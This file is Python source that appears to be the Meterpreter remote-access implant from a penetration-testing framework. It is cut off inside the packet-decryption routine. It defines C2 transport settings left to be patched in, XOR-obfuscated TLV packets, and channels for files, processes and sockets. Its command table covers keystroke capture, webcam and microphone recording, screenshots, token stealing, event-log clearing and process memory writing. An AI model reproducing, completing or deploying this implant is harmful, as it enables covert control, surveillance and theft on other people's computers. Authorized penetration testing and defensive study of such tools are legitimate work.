#!/usr/bin/python
import binascii
import code
import os
import platform
import random
import re
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import traceback

try:
    import ctypes
except ImportError:
    has_windll = False
else:
    has_windll = hasattr(ctypes, 'windll')

try:
    urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
    if sys.version_info[0] < 3:
        urllib = __import__('urllib2', fromlist=urllib_imports)
    else:
        urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
    has_urllib = False
else:
    has_urllib = True

if sys.version_info[0] < 3:
    is_str = lambda obj: issubclass(obj.__class__, str)
    is_bytes = lambda obj: issubclass(obj.__class__, str)
    bytes = lambda *args: str(*args[:1])
    NULL_BYTE = '\x00'
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
    if isinstance(__builtins__, dict):
        is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
        str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    else:
        is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
        str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    is_bytes = lambda obj: issubclass(obj.__class__, bytes)
    NULL_BYTE = bytes('\x00', 'UTF-8')
    long = int
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)

# reseed the random generator.
random.seed()

#
# Constants
#

# these values will be patched, DO NOT CHANGE THEM
DEBUGGING = False
TRY_TO_FORK = True
HTTP_CONNECTION_URL = None
HTTP_PROXY = None
HTTP_USER_AGENT = None
HTTP_COOKIE = None
HTTP_HOST = None
HTTP_REFERER = None
PAYLOAD_UUID = ''
SESSION_GUID = ''
SESSION_COMMUNICATION_TIMEOUT = 300
SESSION_EXPIRATION_TIMEOUT = 604800
SESSION_RETRY_TOTAL = 3600
SESSION_RETRY_WAIT = 10

PACKET_TYPE_REQUEST        = 0
PACKET_TYPE_RESPONSE       = 1
PACKET_TYPE_PLAIN_REQUEST  = 10
PACKET_TYPE_PLAIN_RESPONSE = 11

ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3

CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM   = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL     = 3

#
# TLV Meta Types
#
TLV_META_TYPE_NONE       = (   0   )
TLV_META_TYPE_STRING     = (1 << 16)
TLV_META_TYPE_UINT       = (1 << 17)
TLV_META_TYPE_RAW        = (1 << 18)
TLV_META_TYPE_BOOL       = (1 << 19)
TLV_META_TYPE_QWORD      = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP      = (1 << 30)
TLV_META_TYPE_COMPLEX    = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)

#
# TLV base starting points
#
TLV_RESERVED   = 0
TLV_EXTENSIONS = 20000
TLV_USER       = 40000
TLV_TEMP       = 60000

#
# TLV Specific Types
#
TLV_TYPE_ANY                   = TLV_META_TYPE_NONE    | 0
TLV_TYPE_COMMAND_ID            = TLV_META_TYPE_UINT    | 1
TLV_TYPE_REQUEST_ID            = TLV_META_TYPE_STRING  | 2
TLV_TYPE_EXCEPTION             = TLV_META_TYPE_GROUP   | 3
TLV_TYPE_RESULT                = TLV_META_TYPE_UINT    | 4

TLV_TYPE_STRING                = TLV_META_TYPE_STRING  | 10
TLV_TYPE_UINT                  = TLV_META_TYPE_UINT    | 11
TLV_TYPE_BOOL                  = TLV_META_TYPE_BOOL    | 12

TLV_TYPE_LENGTH                = TLV_META_TYPE_UINT    | 25
TLV_TYPE_DATA                  = TLV_META_TYPE_RAW     | 26
TLV_TYPE_FLAGS                 = TLV_META_TYPE_UINT    | 27

TLV_TYPE_CHANNEL_ID            = TLV_META_TYPE_UINT    | 50
TLV_TYPE_CHANNEL_TYPE          = TLV_META_TYPE_STRING  | 51
TLV_TYPE_CHANNEL_DATA          = TLV_META_TYPE_RAW     | 52
TLV_TYPE_CHANNEL_DATA_GROUP    = TLV_META_TYPE_GROUP   | 53
TLV_TYPE_CHANNEL_CLASS         = TLV_META_TYPE_UINT    | 54
TLV_TYPE_CHANNEL_PARENTID      = TLV_META_TYPE_UINT    | 55

TLV_TYPE_SEEK_WHENCE           = TLV_META_TYPE_UINT    | 70
TLV_TYPE_SEEK_OFFSET           = TLV_META_TYPE_UINT    | 71
TLV_TYPE_SEEK_POS              = TLV_META_TYPE_UINT    | 72

TLV_TYPE_EXCEPTION_CODE        = TLV_META_TYPE_UINT    | 300
TLV_TYPE_EXCEPTION_STRING      = TLV_META_TYPE_STRING  | 301

TLV_TYPE_LIBRARY_PATH          = TLV_META_TYPE_STRING  | 400
TLV_TYPE_TARGET_PATH           = TLV_META_TYPE_STRING  | 401

TLV_TYPE_TRANS_TYPE            = TLV_META_TYPE_UINT    | 430
TLV_TYPE_TRANS_URL             = TLV_META_TYPE_STRING  | 431
TLV_TYPE_TRANS_UA              = TLV_META_TYPE_STRING  | 432
TLV_TYPE_TRANS_COMM_TIMEOUT    = TLV_META_TYPE_UINT    | 433
TLV_TYPE_TRANS_SESSION_EXP     = TLV_META_TYPE_UINT    | 434
TLV_TYPE_TRANS_CERT_HASH       = TLV_META_TYPE_RAW     | 435
TLV_TYPE_TRANS_PROXY_HOST      = TLV_META_TYPE_STRING  | 436
TLV_TYPE_TRANS_PROXY_USER      = TLV_META_TYPE_STRING  | 437
TLV_TYPE_TRANS_PROXY_PASS      = TLV_META_TYPE_STRING  | 438
TLV_TYPE_TRANS_RETRY_TOTAL     = TLV_META_TYPE_UINT    | 439
TLV_TYPE_TRANS_RETRY_WAIT      = TLV_META_TYPE_UINT    | 440
TLV_TYPE_TRANS_HEADERS         = TLV_META_TYPE_STRING  | 441
TLV_TYPE_TRANS_GROUP           = TLV_META_TYPE_GROUP   | 442

TLV_TYPE_MACHINE_ID            = TLV_META_TYPE_STRING  | 460
TLV_TYPE_UUID                  = TLV_META_TYPE_RAW     | 461
TLV_TYPE_SESSION_GUID          = TLV_META_TYPE_RAW     | 462

TLV_TYPE_RSA_PUB_KEY           = TLV_META_TYPE_RAW     | 550
TLV_TYPE_SYM_KEY_TYPE          = TLV_META_TYPE_UINT    | 551
TLV_TYPE_SYM_KEY               = TLV_META_TYPE_RAW     | 552
TLV_TYPE_ENC_SYM_KEY           = TLV_META_TYPE_RAW     | 553

TLV_TYPE_PEER_HOST             = TLV_META_TYPE_STRING  | 1500
TLV_TYPE_PEER_PORT             = TLV_META_TYPE_UINT    | 1501
TLV_TYPE_LOCAL_HOST            = TLV_META_TYPE_STRING  | 1502
TLV_TYPE_LOCAL_PORT            = TLV_META_TYPE_UINT    | 1503


EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING

ENC_NONE = 0
ENC_AES256 = 1

# Packet header sizes
PACKET_XOR_KEY_SIZE = 4
PACKET_SESSION_GUID_SIZE = 16
PACKET_ENCRYPT_FLAG_SIZE = 4
PACKET_LENGTH_SIZE = 4
PACKET_TYPE_SIZE = 4
PACKET_LENGTH_OFF = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE +
        PACKET_ENCRYPT_FLAG_SIZE)
PACKET_HEADER_SIZE = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE +
        PACKET_ENCRYPT_FLAG_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE)

# ---------------------------------------------------------------
# --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-05-01 05:29:59 UTC
EXTENSION_ID_CORE = 0
EXTENSION_ID_STDAPI = 1000
COMMAND_IDS = (
    (1, 'core_channel_close'),
    (2, 'core_channel_eof'),
    (3, 'core_channel_interact'),
    (4, 'core_channel_open'),
    (5, 'core_channel_read'),
    (6, 'core_channel_seek'),
    (7, 'core_channel_tell'),
    (8, 'core_channel_write'),
    (9, 'core_console_write'),
    (10, 'core_enumextcmd'),
    (11, 'core_get_session_guid'),
    (12, 'core_loadlib'),
    (13, 'core_machine_id'),
    (14, 'core_migrate'),
    (15, 'core_native_arch'),
    (16, 'core_negotiate_tlv_encryption'),
    (17, 'core_patch_url'),
    (18, 'core_pivot_add'),
    (19, 'core_pivot_remove'),
    (20, 'core_pivot_session_died'),
    (21, 'core_set_session_guid'),
    (22, 'core_set_uuid'),
    (23, 'core_shutdown'),
    (24, 'core_transport_add'),
    (25, 'core_transport_change'),
    (26, 'core_transport_getcerthash'),
    (27, 'core_transport_list'),
    (28, 'core_transport_next'),
    (29, 'core_transport_prev'),
    (30, 'core_transport_remove'),
    (31, 'core_transport_setcerthash'),
    (32, 'core_transport_set_timeouts'),
    (33, 'core_transport_sleep'),
    (1001, 'stdapi_fs_chdir'),
    (1002, 'stdapi_fs_chmod'),
    (1003, 'stdapi_fs_delete_dir'),
    (1004, 'stdapi_fs_delete_file'),
    (1005, 'stdapi_fs_file_copy'),
    (1006, 'stdapi_fs_file_expand_path'),
    (1007, 'stdapi_fs_file_move'),
    (1008, 'stdapi_fs_getwd'),
    (1009, 'stdapi_fs_ls'),
    (1010, 'stdapi_fs_md5'),
    (1011, 'stdapi_fs_mkdir'),
    (1012, 'stdapi_fs_mount_show'),
    (1013, 'stdapi_fs_search'),
    (1014, 'stdapi_fs_separator'),
    (1015, 'stdapi_fs_sha1'),
    (1016, 'stdapi_fs_stat'),
    (1017, 'stdapi_net_config_add_route'),
    (1018, 'stdapi_net_config_get_arp_table'),
    (1019, 'stdapi_net_config_get_interfaces'),
    (1020, 'stdapi_net_config_get_netstat'),
    (1021, 'stdapi_net_config_get_proxy'),
    (1022, 'stdapi_net_config_get_routes'),
    (1023, 'stdapi_net_config_remove_route'),
    (1024, 'stdapi_net_resolve_host'),
    (1025, 'stdapi_net_resolve_hosts'),
    (1026, 'stdapi_net_socket_tcp_shutdown'),
    (1027, 'stdapi_net_tcp_channel_open'),
    (1028, 'stdapi_railgun_api'),
    (1029, 'stdapi_railgun_api_multi'),
    (1030, 'stdapi_railgun_memread'),
    (1031, 'stdapi_railgun_memwrite'),
    (1032, 'stdapi_registry_check_key_exists'),
    (1033, 'stdapi_registry_close_key'),
    (1034, 'stdapi_registry_create_key'),
    (1035, 'stdapi_registry_delete_key'),
    (1036, 'stdapi_registry_delete_value'),
    (1037, 'stdapi_registry_enum_key'),
    (1038, 'stdapi_registry_enum_key_direct'),
    (1039, 'stdapi_registry_enum_value'),
    (1040, 'stdapi_registry_enum_value_direct'),
    (1041, 'stdapi_registry_load_key'),
    (1042, 'stdapi_registry_open_key'),
    (1043, 'stdapi_registry_open_remote_key'),
    (1044, 'stdapi_registry_query_class'),
    (1045, 'stdapi_registry_query_value'),
    (1046, 'stdapi_registry_query_value_direct'),
    (1047, 'stdapi_registry_set_value'),
    (1048, 'stdapi_registry_set_value_direct'),
    (1049, 'stdapi_registry_unload_key'),
    (1050, 'stdapi_sys_config_driver_list'),
    (1051, 'stdapi_sys_config_drop_token'),
    (1052, 'stdapi_sys_config_getenv'),
    (1053, 'stdapi_sys_config_getprivs'),
    (1054, 'stdapi_sys_config_getsid'),
    (1055, 'stdapi_sys_config_getuid'),
    (1056, 'stdapi_sys_config_localtime'),
    (1057, 'stdapi_sys_config_rev2self'),
    (1058, 'stdapi_sys_config_steal_token'),
    (1059, 'stdapi_sys_config_sysinfo'),
    (1060, 'stdapi_sys_eventlog_clear'),
    (1061, 'stdapi_sys_eventlog_close'),
    (1062, 'stdapi_sys_eventlog_numrecords'),
    (1063, 'stdapi_sys_eventlog_oldest'),
    (1064, 'stdapi_sys_eventlog_open'),
    (1065, 'stdapi_sys_eventlog_read'),
    (1066, 'stdapi_sys_power_exitwindows'),
    (1067, 'stdapi_sys_process_attach'),
    (1068, 'stdapi_sys_process_close'),
    (1069, 'stdapi_sys_process_execute'),
    (1070, 'stdapi_sys_process_get_info'),
    (1071, 'stdapi_sys_process_get_processes'),
    (1072, 'stdapi_sys_process_getpid'),
    (1073, 'stdapi_sys_process_image_get_images'),
    (1074, 'stdapi_sys_process_image_get_proc_address'),
    (1075, 'stdapi_sys_process_image_load'),
    (1076, 'stdapi_sys_process_image_unload'),
    (1077, 'stdapi_sys_process_kill'),
    (1078, 'stdapi_sys_process_memory_allocate'),
    (1079, 'stdapi_sys_process_memory_free'),
    (1080, 'stdapi_sys_process_memory_lock'),
    (1081, 'stdapi_sys_process_memory_protect'),
    (1082, 'stdapi_sys_process_memory_query'),
    (1083, 'stdapi_sys_process_memory_read'),
    (1084, 'stdapi_sys_process_memory_unlock'),
    (1085, 'stdapi_sys_process_memory_write'),
    (1086, 'stdapi_sys_process_thread_close'),
    (1087, 'stdapi_sys_process_thread_create'),
    (1088, 'stdapi_sys_process_thread_get_threads'),
    (1089, 'stdapi_sys_process_thread_open'),
    (1090, 'stdapi_sys_process_thread_query_regs'),
    (1091, 'stdapi_sys_process_thread_resume'),
    (1092, 'stdapi_sys_process_thread_set_regs'),
    (1093, 'stdapi_sys_process_thread_suspend'),
    (1094, 'stdapi_sys_process_thread_terminate'),
    (1095, 'stdapi_sys_process_wait'),
    (1096, 'stdapi_ui_desktop_enum'),
    (1097, 'stdapi_ui_desktop_get'),
    (1098, 'stdapi_ui_desktop_screenshot'),
    (1099, 'stdapi_ui_desktop_set'),
    (1100, 'stdapi_ui_enable_keyboard'),
    (1101, 'stdapi_ui_enable_mouse'),
    (1102, 'stdapi_ui_get_idle_time'),
    (1103, 'stdapi_ui_get_keys_utf8'),
    (1104, 'stdapi_ui_send_keyevent'),
    (1105, 'stdapi_ui_send_keys'),
    (1106, 'stdapi_ui_send_mouse'),
    (1107, 'stdapi_ui_start_keyscan'),
    (1108, 'stdapi_ui_stop_keyscan'),
    (1109, 'stdapi_ui_unlock_desktop'),
    (1110, 'stdapi_webcam_audio_record'),
    (1111, 'stdapi_webcam_get_frame'),
    (1112, 'stdapi_webcam_list'),
    (1113, 'stdapi_webcam_start'),
    (1114, 'stdapi_webcam_stop'),
    (1115, 'stdapi_audio_mic_start'),
    (1116, 'stdapi_audio_mic_stop'),
    (1117, 'stdapi_audio_mic_list'),
)
# ---------------------------------------------------------------

class SYSTEM_INFO(ctypes.Structure):
    _fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
        ("wReserved", ctypes.c_uint16),
        ("dwPageSize", ctypes.c_uint32),
        ("lpMinimumApplicationAddress", ctypes.c_void_p),
        ("lpMaximumApplicationAddress", ctypes.c_void_p),
        ("dwActiveProcessorMask", ctypes.c_uint32),
        ("dwNumberOfProcessors", ctypes.c_uint32),
        ("dwProcessorType", ctypes.c_uint32),
        ("dwAllocationGranularity", ctypes.c_uint32),
        ("wProcessorLevel", ctypes.c_uint16),
        ("wProcessorRevision", ctypes.c_uint16)]

def rand_bytes(n):
    return os.urandom(n)

def rand_xor_key():
    return tuple(random.randint(1, 255) for _ in range(4))

def xor_bytes(key, data):
    if sys.version_info[0] < 3:
        dexored = ''.join(chr(ord(data[i]) ^ key[i % len(key)]) for i in range(len(data)))
    else:
        dexored = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
    return dexored

def export(symbol):
    EXPORTED_SYMBOLS[symbol.__name__] = symbol
    return symbol

def generate_request_id():
    chars = 'abcdefghijklmnopqrstuvwxyz'
    return ''.join(random.choice(chars) for x in range(32))

@export
def cmd_id_to_string(this_id):
    for that_id, that_string in COMMAND_IDS:
        if this_id == that_id:
            return that_string
    debug_print('[*] failed to lookup string for command id: ' + str(this_id))
    return None

@export
def cmd_string_to_id(this_string):
    for that_id, that_string in COMMAND_IDS:
        if this_string == that_string:
            return that_id
    debug_print('[*] failed to lookup id for command string: ' + this_string)
    return None

@export
def crc16(data):
    poly = 0x1021
    reg = 0x0000
    if is_str(data):
        data = list(map(ord, data))
    elif is_bytes(data):
        data = list(data)
    data.append(0)
    data.append(0)
    for byte in data:
        mask = 0x80
        while mask > 0:
            reg <<= 1
            if byte & mask:
                reg += 1
            mask >>= 1
            if reg > 0xffff:
                reg &= 0xffff
                reg ^= poly
    return reg

@export
def debug_print(msg):
    if DEBUGGING:
        print(msg)

@export
def debug_traceback(msg=None):
    if DEBUGGING:
        if msg:
            print(msg)
        traceback.print_exc(file=sys.stderr)

@export
def error_result(exception=None):
    if not exception:
        _, exception, _ = sys.exc_info()
    exception_crc = crc16(exception.__class__.__name__)
    if exception_crc == 0x4cb2: # WindowsError
        return error_result_windows(exception.errno)
    else:
        result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
    return result

@export
def error_result_windows(error_number=None):
    if not has_windll:
        return ERROR_FAILURE
    if error_number == None:
        error_number = ctypes.windll.kernel32.GetLastError()
    if error_number > 0xffff:
        return ERROR_FAILURE
    result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
    return result

@export
def get_hdd_label():
    for _, _, files in os.walk('/dev/disk/by-id/'):
        for f in files:
            for p in ['ata-', 'mb-']:
                if f[:len(p)] == p:
                    return f[len(p):]
    return ''

@export
def get_native_arch():
    arch = get_system_arch()
    if arch == 'x64' and ctypes.sizeof(ctypes.c_void_p) == 4:
        arch = 'x86'
    return arch

@export
def get_system_arch():
    uname_info = platform.uname()
    arch = uname_info[4]
    if has_windll:
        sysinfo = SYSTEM_INFO()
        ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
        values = {0:'x86', 5:'armle', 6:'IA64', 9:'x64'}
        arch = values.get(sysinfo.wProcessorArchitecture, uname_info[4])
    if arch == 'x86_64':
        arch = 'x64'
    return arch

@export
def inet_pton(family, address):
    if family == socket.AF_INET6 and '%' in address:
        address = address.split('%', 1)[0]
    if hasattr(socket, 'inet_pton'):
        return socket.inet_pton(family, address)
    elif has_windll:
        WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
        lpAddress = (ctypes.c_ubyte * 28)()
        lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
        if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
            raise Exception('WSAStringToAddress failed')
        if family == socket.AF_INET:
            return ''.join(map(chr, lpAddress[4:8]))
        elif family == socket.AF_INET6:
            return ''.join(map(chr, lpAddress[8:24]))
    raise Exception('no suitable inet_pton functionality is available')

@export
def packet_enum_tlvs(pkt, tlv_type=None):
    offset = 0
    while offset < len(pkt):
        tlv = struct.unpack('>II', pkt[offset:offset + 8])
        if tlv_type is None or (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
            val = pkt[offset + 8:(offset + 8 + (tlv[0] - 8))]
            if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
                val = str(val.split(NULL_BYTE, 1)[0])
            elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
                val = struct.unpack('>I', val)[0]
            elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
                val = struct.unpack('>Q', val)[0]
            elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
                val = bool(struct.unpack('b', val)[0])
            elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
                pass
            yield {'type': tlv[1], 'length': tlv[0], 'value': val}
        offset += tlv[0]
    return

@export
def packet_get_tlv(pkt, tlv_type):
    try:
        tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
    except IndexError:
        return {}
    return tlv

@export
def tlv_pack(*args):
    if len(args) == 2:
        tlv = {'type':args[0], 'value':args[1]}
    else:
        tlv = args[0]
    data = ''
    value = tlv['value']
    if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
        if isinstance(value, float):
            value = int(round(value))
        data = struct.pack('>III', 12, tlv['type'], value)
    elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
        data = struct.pack('>IIQ', 16, tlv['type'], value)
    elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
        data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
    else:
        if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
            value = value.encode('UTF-8')
        elif not is_bytes(value):
            value = bytes(value, 'UTF-8')
        if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
            data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
        elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
            data = struct.pack('>II', 8 + len(value), tlv['type']) + value
        elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
            data = struct.pack('>II', 8 + len(value), tlv['type']) + value
        elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
            data = struct.pack('>II', 8 + len(value), tlv['type']) + value
    return data

@export
def tlv_pack_request(method, parts=None):
    pkt  = struct.pack('>I', PACKET_TYPE_REQUEST)
    pkt += tlv_pack(TLV_TYPE_COMMAND_ID, cmd_string_to_id(method))
    pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
    pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
    parts = parts or []
    for part in parts:
        pkt += tlv_pack(part['type'], part['value'])
    return pkt

#@export
class MeterpreterChannel(object):
    def core_close(self, request, response):
        self.close()
        return ERROR_SUCCESS, response

    def core_eof(self, request, response):
        response += tlv_pack(TLV_TYPE_BOOL, self.eof())
        return ERROR_SUCCESS, response

    def core_read(self, request, response):
        length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
        response += tlv_pack(TLV_TYPE_CHANNEL_DATA, self.read(length))
        return ERROR_SUCCESS, response

    def core_write(self, request, response):
        channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
        response += tlv_pack(TLV_TYPE_LENGTH, self.write(channel_data))
        return ERROR_SUCCESS, response

    def close(self):
        raise NotImplementedError()

    def eof(self):
        return False

    def is_alive(self):
        return True

    def notify(self):
        return None

    def read(self, length):
        raise NotImplementedError()

    def write(self, data):
        raise NotImplementedError()

#@export
class MeterpreterFile(MeterpreterChannel):
    def __init__(self, file_obj):
        self.file_obj = file_obj
        super(MeterpreterFile, self).__init__()

    def close(self):
        self.file_obj.close()

    def eof(self):
        return self.file_obj.tell() >= os.fstat(self.file_obj.fileno()).st_size

    def read(self, length):
        return self.file_obj.read(length)

    def write(self, data):
        self.file_obj.write(data)
        return len(data)
export(MeterpreterFile)

#@export
class MeterpreterProcess(MeterpreterChannel):
    def __init__(self, proc_h):
        self.proc_h = proc_h
        super(MeterpreterProcess, self).__init__()

    def close(self):
        self.proc_h.kill()
        if hasattr(self.proc_h.stdin, 'close'):
            self.proc_h.stdin.close()
        if hasattr(self.proc_h.stdout, 'close'):
            self.proc_h.stdout.close()
        if hasattr(self.proc_h.stderr, 'close'):
            self.proc_h.stderr.close()

    def is_alive(self):
        return self.proc_h.poll() is None

    def read(self, length):
        data = ''
        stdout_reader = self.proc_h.stdout_reader
        if stdout_reader.is_read_ready():
            data = stdout_reader.read(length)
        return data

    def write(self, data):
        self.proc_h.write(data)
        return len(data)
export(MeterpreterProcess)

#@export
class MeterpreterSocket(MeterpreterChannel):
    def __init__(self, sock):
        self.sock = sock
        self._is_alive = True
        super(MeterpreterSocket, self).__init__()

    def core_write(self, request, response):
        try:
            status, response = super(MeterpreterSocket, self).core_write(request, response)
        except socket.error:
            self.close()
            self._is_alive = False
            status = ERROR_FAILURE
        return status, response

    def close(self):
        return self.sock.close()

    def fileno(self):
        return self.sock.fileno()

    def is_alive(self):
        return self._is_alive

    def read(self, length):
        return self.sock.recv(length)

    def write(self, data):
        return self.sock.send(data)
export(MeterpreterSocket)

#@export
class MeterpreterSocketTCPClient(MeterpreterSocket):
    pass
export(MeterpreterSocketTCPClient)

#@export
class MeterpreterSocketTCPServer(MeterpreterSocket):
    pass
export(MeterpreterSocketTCPServer)

#@export
class MeterpreterSocketUDPClient(MeterpreterSocket):
    def __init__(self, sock, peer_address=None):
        super(MeterpreterSocketUDPClient, self).__init__(sock)
        self.peer_address = peer_address

    def core_write(self, request, response):
        peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
        peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value')
        if peer_host and peer_port:
            peer_address = (peer_host, peer_port)
        elif self.peer_address:
            peer_address = self.peer_address
        else:
            raise RuntimeError('peer_host and peer_port must be specified with an unbound/unconnected UDP channel')
        channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
        try:
            length = self.sock.sendto(channel_data, peer_address)
        except socket.error:
            self.close()
            self._is_alive = False
            status = ERROR_FAILURE
        else:
            response += tlv_pack(TLV_TYPE_LENGTH, length)
            status = ERROR_SUCCESS
        return status, response

    def read(self, length):
        return self.sock.recvfrom(length)[0]

    def write(self, data):
        self.sock.sendto(data, self.peer_address)
export(MeterpreterSocketUDPClient)

class STDProcessBuffer(threading.Thread):
    def __init__(self, std, is_alive):
        threading.Thread.__init__(self)
        self.std = std
        self.is_alive = is_alive
        self.data = bytes()
        self.data_lock = threading.RLock()

    def run(self):
        for byte in iter(lambda: self.std.read(1), bytes()):
            self.data_lock.acquire()
            self.data += byte
            self.data_lock.release()

    def is_read_ready(self):
        return len(self.data) != 0

    def peek(self, l = None):
        data = bytes()
        self.data_lock.acquire()
        if l == None:
            data = self.data
        else:
            data = self.data[0:l]
        self.data_lock.release()
        return data

    def read(self, l = None):
        self.data_lock.acquire()
        data = self.peek(l)
        self.data = self.data[len(data):]
        self.data_lock.release()
        return data

#@export
class STDProcess(subprocess.Popen):
    def __init__(self, *args, **kwargs):
        debug_print('[*] starting process: ' + repr(args[0]))
        subprocess.Popen.__init__(self, *args, **kwargs)
        self.echo_protection = False

    def is_alive(self):
        return self.poll() is None

    def start(self):
        self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
        self.stdout_reader.start()
        self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
        self.stderr_reader.start()

    def write(self, channel_data):
        length = self.stdin.write(channel_data)
        self.stdin.flush()
        if self.echo_protection:
            end_time = time.time() + 0.5
            out_data = bytes()
            while (time.time() < end_time) and (out_data != channel_data):
                if self.stdout_reader.is_read_ready():
                    out_data = self.stdout_reader.peek(len(channel_data))
            if out_data == channel_data:
                self.stdout_reader.read(len(channel_data))
        return length
export(STDProcess)

class Transport(object):
    def __init__(self):
        self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
        self.communication_last = 0
        self.retry_total = SESSION_RETRY_TOTAL
        self.retry_wait = SESSION_RETRY_WAIT
        self.request_retire = False
        self.aes_enabled = False
        self.aes_key = None

    def __repr__(self):
        return "<{0} url='{1}' >".format(self.__class__.__name__, self.url)

    @property
    def communication_has_expired(self):
        return self.communication_last + self.communication_timeout < time.time()

    @property
    def should_retire(self):
        return self.communication_has_expired or self.request_retire

    @staticmethod
    def from_request(request):
        url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
        if url.startswith('tcp'):
            transport = TcpTransport(url)
        elif url.startswith('http'):
            proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value')
            user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT)
            http_headers = packet_get_tlv(request, TLV_TYPE_TRANS_HEADERS).get('value', None)
            transport = HttpTransport(url, proxy=proxy, user_agent=user_agent)
            if http_headers:
                headers = {}
                for h in http_headers.strip().split("\r\n"):
                    p = h.split(':')
                    headers[p[0].upper()] = ''.join(p[1:0])
                http_host = headers.get('HOST')
                http_cookie = headers.get('COOKIE')
                http_referer = headers.get('REFERER')
                transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host,
                        http_cookie=http_cookie, http_referer=http_referer)
        transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT)
        transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL)
        transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
        return transport

    def _activate(self):
        return True

    def activate(self):
        self.aes_key = None
        self.aes_enabled = False
        end_time = time.time() + self.retry_total
        while time.time() < end_time:
            try:
                activate_succeeded = self._activate()
            except:
                activate_succeeded = False
            if activate_succeeded:
                self.communication_last = time.time()
                return True
            time.sleep(self.retry_wait)
        return False

    def _deactivate(self):
        return

    def deactivate(self):
        try:
            self._deactivate()
        except:
            pass
        self.communication_last = 0
        return True

    def decrypt_packet(self, pkt):
        if pkt and len(pkt) > PACKET_HEADER_SIZE:
            xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE])
            raw = xor_bytes(xor_key, pkt)
            enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE
            enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0]
            if enc_flag == ENC_AES256:
                iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16]
                encrypted = raw[PACKET_HEADER_SIZE+len(iv):]
                return met_aes_decrypt(self.aes_key, iv, encrypted)
            else:
